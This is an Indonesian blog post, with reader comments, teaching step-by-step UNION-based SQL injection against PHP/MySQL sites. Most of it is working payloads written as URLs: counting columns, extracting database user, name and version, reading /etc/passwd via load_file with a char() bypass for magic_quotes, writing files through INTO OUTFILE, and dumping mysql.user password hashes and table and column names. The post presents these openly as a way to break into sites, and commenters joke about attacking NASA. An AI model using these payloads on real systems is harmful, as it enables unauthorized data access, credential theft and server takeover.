Main Contents

SQL Cheat Sheet [Part III]

17 January 2008

Dah, ini mungkin bagian terakhir dasar dari SCS, sekedar melengkapi yang sudah ada di bagian pertama dan kedua. Dari beberapa percobaan yang saya lakukan, untung berhasil melakukan serangan ada beberapa tahap yang mungkin tiap orang dapat berbeda teknik. Teknik yang saya pakai yaitu terbagi atas beberapa tahap sebagai berikut:

1. Cari Inputan yang akan diproses oleh Query SQL secara langsung (biasanya di URL).

Yup, banyak inputan langsung dengan menggunakan metode GET yang bisa mempengaruhi hasil query dan juga kemudian mempengaruhi tampilan halaman (Error). Coba ubah-ubah nilai tersebut, apakah ada pengaruh pada tampilan atau tidak. Contoh:

http://www.contoh.com/INDEX.php?id=1

Coba ubah nilai yang ada di belakang id dan lihat pengaruhnya pada halaman.

2. Hitung kolom data yang ditampilkan pada halaman.

Berpikirlah bahwa data itu ditampilkan dalam bentuk tabel (prinsip Database) yang terdiri dari baris dan kolom dimana baris adalah data dan kolom adalah kepala tabel. Ada berapa kepala tabel yang diambil oleh query, misalnya no, nama, alamat berarti ada 3. Caranya dengan menggunakan fungsi order by pada mysql, dan coba cari jumlah kolomnya. Contoh:

http://www.contoh.com/INDEX.php?id=1+ORDER+BY+1/*

Cara mengetahui jumlah kolomnya yaitu dengan menaikkan angka setelah order by sampai terjadi error pada halaman. Tidak selamanya harus dimulai dari angka 1, alasan saya menggunakan satu hanya untuk memastikan kalau parameter ini bisa disisipi atau tidak, karena kalau tidak bisa maka langsung terjadi error atau bahkan tidak menampilkan apa² (bisa jadi perlu melakukan Blind) atau bisa juga perlu modifikasi pada inputan (perlu tanda petik atau tidak).

3. Penyeimbangan Union

Setelah menemukan jumlah kolom, maka untuk bisa menampilkan data yang diinginkan dilakukan penyeimbangan dan pencarian data yang ditampilkan. Misalnya, jumlah kolom yang ditemukan adalah 7, maka untuk menyeimbangkannya URL-nya seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,3,4,5,6,7/*

Mengapa -1?, karena yang kita ingin tampilkan hanya angka 1 sampai 7 dan bukan data yang sebenarnya. Jika benar, maka pada halaman akan muncul satu atau lebih angka antara 1 sampai 7 (bisa lebih dari satu). Nah, pada angka tersebutlah bisa kita sisipkan kode untuk mengumpulkan informasi. Misalnya yang muncul di halaman adalah angka 3, maka bentuk URL-nya seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,(kode yang disisipkan),4,5,6,7/*

4. Informasi penting

Jika sampai tahap di atas berhasil, maka selanjutnya yang dicari adalah informasi penting yang dibutuhkan dan tiap orang bisa berbeda. Untuk saya, informasi yang cukup penting adalah user yang dipakai untuk koneksi ke database, nama database, dan versi mysql yang dipakai. Maka untuk menampilkannya dipakai fungsi user() , database() dan version() . Contoh URL-nya seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,concat(user(),char(58),DATABASE(),char(58),version()),4,5,6,7/*

format yang ditampilan akan seperti ini:

nama_user@host:nama_database:versi_mysql

Informasi itu dibutuhkan untuk mengetahui tindakan berikutnya, kalau beruntung bisa didapatkan sistem operasi yang dipakai dengan mengetahui ciri atau biasa juga langsung tertulis pada fungsi version(). Dan jika user mysql yang dipakai buat koneksi itu adalah root, maka anda dapat membaca seluruh isi database yang ada pada server itu.

5. Menguji load_file dan magic_quote_gpc pada PHP

Untuk menguji seberapa besar efek dari serangan ini, perlu dilakukan tes untuk load_file (membaca data pada server). Pengujian ini berguna untuk mengambil informasi juga, seperti tipe OS atau service yang ada (jadi sebaiknya belajar struktur OS juga.. hiks..). Untuk keturunan Unix biasanya diuji untuk membaca file /etc/passwd (atau file default lainnya) sedangkan untuk windows yaitu file c:\\boot.ini. Contoh URL-nya seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,load_file('/etc/passwd'),4,5,6,7/*

Jika terjadi error maka fungsi magic_quote_gpc di PHP mungkin sedang dalam keadaan On (aktif) sehingga tidak mengijinkan tanda petik. Untuk melewatkannya digunakan integer base attack dengan mengubah nama file ke bentuk ASCII atau HEXA. Contoh URL-nya seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/*

Oke, jika berhasil maka informasi yang dapat dikumpulkan bisa lebih banyak.

6. Pengujian fungsi into outfile.

Ada kasus khusus jika user mysql yang didapatkan adalah root dan magic_quote sedang Off yaitu bisa menuliskan file sesuatu pada server atau paling tidak pada folder web sehingga file itu bisa dibaca dari web. Contoh URL-nya yaitu:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,('tulisan yang diinginkan'),4,5,6,7+INTO+OUTFILE+'path/nama_file'/*

Syaratnya yaitu file yang ditulis harus belum ada di server. Bisa dibayangkan efek dari celah ini kan? :D

Sampai di sini dulu dasar dari SCS, saya belum bisa melakukan yang Blind Injection jadi belum bisa nulis sesuatu tentang itu. Tapi menurut saya beda dari Error base dan Blind cuma satu yaitu Blind tidak memberikan error apapun kecuali diakali dengan memberikan delay pada respon query server. Jadi intinya tulisan saya ini masih tergolong lamme.. :P

*akhirnya selesai… :)

Updated:

Atas permintaan penggemar.. :P karena katanya masih ada yang kurang penjelasannya. Iya sih butuh pengetahuan juga gimana kalo mentok cuma bisa melihat isi database. Bagaimana cara untuk melihat struktur database yang ada, juga nama tabel² dan kolom ² yang ada di dalamnya. Berikut beberapa teknik untuk melihat isi database yang dapat digunakan jika user yang dipakai memiliki hak akses ke database mysql dan information_schema (database default yang ada di mysql 5):

1. Untuk melihat daftar user yang ada pada tabel mysql.user

SELECT group_concat(user) FROM mysql.user

Jika contoh celah seperti sebelumnya maka URL-nya akan seperti ini:

http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,group_concat(user),3,4,5,6,7+FROM+mysql.user/*

(pada kode selanjutnya saya hanya akan memberi contoh select nya saja)

2. Untuk mengambil nama user dan hash passwordnya:

SELECT group_concat(user,char(58),password) FROM mysql.user

3. Untuk mengetahui daftar nama database yang ada pada server (mysql versi 5).

SELECT group_concat(schema_name) FROM information_schema.schemata

4. Untuk mengetahui daftar tabel pada database tertentu setelah diketahui nama databasnya.

SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema=char(ascii nama DATABASE yang diinginkan)

atau bisa juga langsung mengetahui daftar tabel pada database yang sedang diakses:

SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema=DATABASE()

5. Untuk mengetahui nama kolom pada tabel yang diinginkan, setelah nama database dan nama tabel diketahui:

SELECT group_concat(column_name) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND  table_name=char(ascii nama tabel)

Yup, segitu aja.. karena kalau sudah tahu nama database, nama tabel dan nama kolom.. selanjutnya terserah anda mau melihat isi database yang ada. Dan semua tergantung kratifitas anda.. :)

Detail: belajar |

13 Komentar to “SQL Cheat Sheet [Part III]”

  1. mon²
    1

    pertamaaaaaaaxxxxx..!!! wah..ajarin saya kk…

    Balas Komentar Ini
  2. dark_ipl
    2
    Komentar Penulis

    @mon²
    wekekkekek.. dah ah, ajarin saya struktur linux dan gath info dunk.. :P

    Balas Komentar Ini
  3. mon²
    3

    mantap kk’…

    bisa injek NASA nih skarang :P

    Balas Komentar Ini
  4. dark_ipl
    4
    Komentar Penulis

    @mon²
    :wkwk: asem…
    sok we duluan..

    _______________ :ngacir:

    Balas Komentar Ini
  5. mon²
    5

    kk’..kayaknya abis ini kudu bikin tulisan tentang “how to find LOGIN/ADMIN form”

    jyakakakakakakakakak…

    Balas Komentar Ini
  6. dark_ipl
    6
    Komentar Penulis

    @mon² < < frustated :))

    Balas Komentar Ini
  7. kurawa
    7

    wah keren banget ya. mas saya ijin copy buat belajar ya

    :d :)>-

    Balas Komentar Ini
  8. dark_ipl
    8
    Komentar Penulis

    @kurawa
    silahkan saja, tapi kalo dibilang keren saya jadi malu.. :">

    masih bagusan yang versi bahasa inggrisnya.. (liyat link di part I)

    eh.. koq blog saya jadi terkenal yak.. :d
    http://echo.or.id/forum/viewtopic.php?t=10704

    Balas Komentar Ini
  9. ngaku2 yach
    9

    xixixixixix….
    ajarin dong bang
    gak ngerti aku
    aku cuman lamerz…
    abang juga lamerz bkn ?

    Balas Komentar Ini
  10. ngaku2 yach
    10

    bang kok hexna aneh
    biasana tambahin 0x
    kok ini gag ada
    apa aku yang salah apa gimana yah ??
    gimana sich si abang..
    xixixiix

    bukannya begini bang ?
    load files magic qoutes on :

    http://www.contoh.com/INDEX.php?id=-1+union+select+1,2,load_file(char(0×47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/*

    xixixi
    jadi malu saya

    Balas Komentar Ini
  11. CaptaiN_JacK`
    11

    wah naon itu ga ngerti euy..euahuehua…apa itu bisa untuk semua versi php?….kurang jelas atu akang ganteng yang pinter…ada yang lebih jelas kah?…aku mau belajar nih..ihihi :P

    Balas Komentar Ini
  12. dark_ipl
    12
    Komentar Penulis

    @ngaku2 yach
    terserah mau bilang apa.. :D

    itu bukan hexa tapi char jadi gak pakai ‘0x’, kalau mau pakai 0x juga bisa

    @Captain_Jack`
    bisa baca dari SQL Cheat Sheet I

    Balas Komentar Ini
  13. Numpang Lewat
    13

    bang kok hexna aneh
    biasana tambahin 0x
    kok ini gag ada
    apa aku yang salah apa gimana yah ??
    gimana sich si abang..
    xixixiix
    bukannya begini bang ?
    load files magic qoutes on :
    http://www.contoh.com/INDEX.php?id=-1+union+select+1,2,load_file(char(0×47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/*
    xixixi
    jadi malu saya

    (char(0×47,101,116,99,47,112,97,115,115,119,100)) <=== pertama2 saya juga bingung kok hexanya begini coz paper2 yang perna me baca biasanya 0×47,0×101…
    but setelah saya perhatikan lagi fungsi char() adalah untuk mengkonversi nilai ascii tersebut ke string.

    Balas Komentar Ini

Beri Komentar

:) :( :d :"> :(( \:d/ :x 8-| /:) :o :-? :-" :-w :doh: :yosh: :dance: semua »